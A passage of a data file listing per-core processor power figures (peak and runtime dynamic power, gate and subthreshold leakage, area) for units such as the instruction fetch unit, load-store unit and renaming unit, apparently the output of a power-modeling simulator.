Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.0041803, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.0036605, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.00142769, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00142396, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.013445, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.0393847, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0590479, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0952928, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.06144, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.360414, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.323657, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 8.57863, 'Instruction Fetch Unit/Runtime Dynamic': 0.832194, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932587, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.408542, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.0734691, 'L2/Runtime Dynamic': 0.0164412, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80969, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 4.12585, 'Load Store Unit/Data Cache/Runtime Dynamic': 1.4123, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0351387, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.0934574, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.0934574, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 4.56897, 'Load Store Unit/Runtime Dynamic': 1.96666, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.23045, 'Load Store Unit/StoreQ/Runtime Dynamic': 0.4609, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591622, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283406, 'Memory Management Unit/Area': 0.434579, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.0817874, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0825906, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00813591, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.376878, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.0599736, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.676771, 'Memory Management Unit/Runtime Dynamic': 0.142564, 'Memory Management Unit/Subthreshold Leakage': 0.0769113, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0399462, 'Peak Dynamic': 24.0538, 'Renaming Unit/Area': 0.369768, 'Renaming Unit/FP Front End RAT/Area': 0.168486, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00489731, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 3.33511, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 1.38188e-05, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0437281, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.024925, 'Renaming Unit/Free List/Area': 0.0414755, 'Renaming Unit/Free List/Gate Leakage': 4.15911e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0401324, 'Renaming Unit/Free List/Runtime Dynamic': 0.0189067, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000670426, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000377987, 'Renaming Unit/Gate Leakage': 0.00863632, 'Renaming Unit/Int Front End RAT/Area': 0.114751, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.00038343, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.86945, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.191424, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00611897, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00348781, 'Renaming Unit/Peak Dynamic': 4.56169, 'Renaming Unit/Runtime Dynamic': 0.210344, 'Renaming Unit/Subthreshold Leakage': 0.070483, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0362779, 'Runtime Dynamic': 5.86768, 'Subthreshold Leakage': 6.21877, 'Subthreshold Leakage with power gating': 2.58311}, {'Area': 32.0201, 'Execution Unit/Area': 7.68434, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 0.0495528, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.24161, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 0.265421, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.120359, 'Execution Unit/Instruction Scheduler/Area': 1.66526, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.11544, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.186201, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.0939878, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.395628, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.0913368, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 4.47041, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.0501437, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.00484208, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992, 'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.0536545, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0358101, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.103798, 'Execution Unit/Register Files/Runtime Dynamic': 0.0406522, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402, 'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.125426, 'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.311688, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543, 'Execution Unit/Runtime Dynamic': 1.39496, 'Execution Unit/Subthreshold Leakage': 1.79543, 'Execution Unit/Subthreshold Leakage with power gating': 0.688821, 'Gate Leakage': 0.368936, 'Instruction Fetch Unit/Area': 5.85939, 'Instruction Fetch Unit/Branch Predictor/Area': 0.138516, 'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.000350681, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.000350681, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000321824, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000133543, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000514415, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.0015376, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00277702, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0589979, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0344252, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 2.18974, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.0797038, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.116923, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 4.51452, 'Instruction Fetch Unit/Runtime Dynamic': 0.235367, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932286, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.0461803, 'L2/Runtime Dynamic': 0.00399628, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80901, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 2.58917, 'Load Store Unit/Data Cache/Runtime Dynamic': 0.654265, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0350888, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.0437421, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.0437421, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 2.79573, 'Load Store Unit/Runtime Dynamic': 0.913729, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.107861, 'Load Store Unit/StoreQ/Runtime Dynamic': 0.215721, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591321, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283293, 'Memory Management Unit/Area': 0.4339, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.0382801, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0389718, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00808595, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.13615, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.0130719, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.358017, 'Memory Management Unit/Runtime Dynamic': 0.0520437, 'Memory Management Unit/Subthreshold Leakage': 0.0766103, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333, 'Peak Dynamic': 15.7743, 'Renaming Unit/Area': 0.303608, 'Renaming Unit/FP Front End RAT/Area': 0.131045, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.131906, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885, 'Renaming Unit/Free List/Area': 0.0340654, 'Renaming Unit/Free List/Gate Leakage': 2.5481e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0306032, 'Renaming Unit/Free List/Runtime Dynamic': 0.0068136, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064, 'Renaming Unit/Gate Leakage': 0.00708398, 'Renaming Unit/Int Front End RAT/Area': 0.0941223, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.0566808, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228, 'Renaming Unit/Peak Dynamic': 3.58947, 'Renaming Unit/Runtime Dynamic': 0.1954, 'Renaming Unit/Subthreshold Leakage': 0.0552466, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461, 'Runtime Dynamic': 2.79549, 'Subthreshold Leakage': 6.16288, 'Subthreshold Leakage with power gating': 2.55328}, {'Area': 32.0201, 'Execution Unit/Area': 7.68434, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 0.0980333, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.279688, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 0.621013, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.120359, 'Execution Unit/Instruction Scheduler/Area': 1.66526, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.189236, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.30523, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.15407, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.648535, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.12122, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 5.10175, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.117323, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.00793739, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992, 'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.0903747, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0587018, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.207697, 'Execution Unit/Register Files/Runtime Dynamic': 0.0666392, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402, 'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.214908, 'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.561691, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543, 'Execution Unit/Runtime Dynamic': 1.96193, 'Execution Unit/Subthreshold Leakage': 1.79543, 'Execution Unit/Subthreshold Leakage with power gating': 0.688821, 'Gate Leakage': 0.368936, 'Instruction Fetch Unit/Area': 5.85939, 'Instruction Fetch Unit/Branch Predictor/Area': 0.138516, 'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 2.12412e-05, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221, 'Instruction Fetch 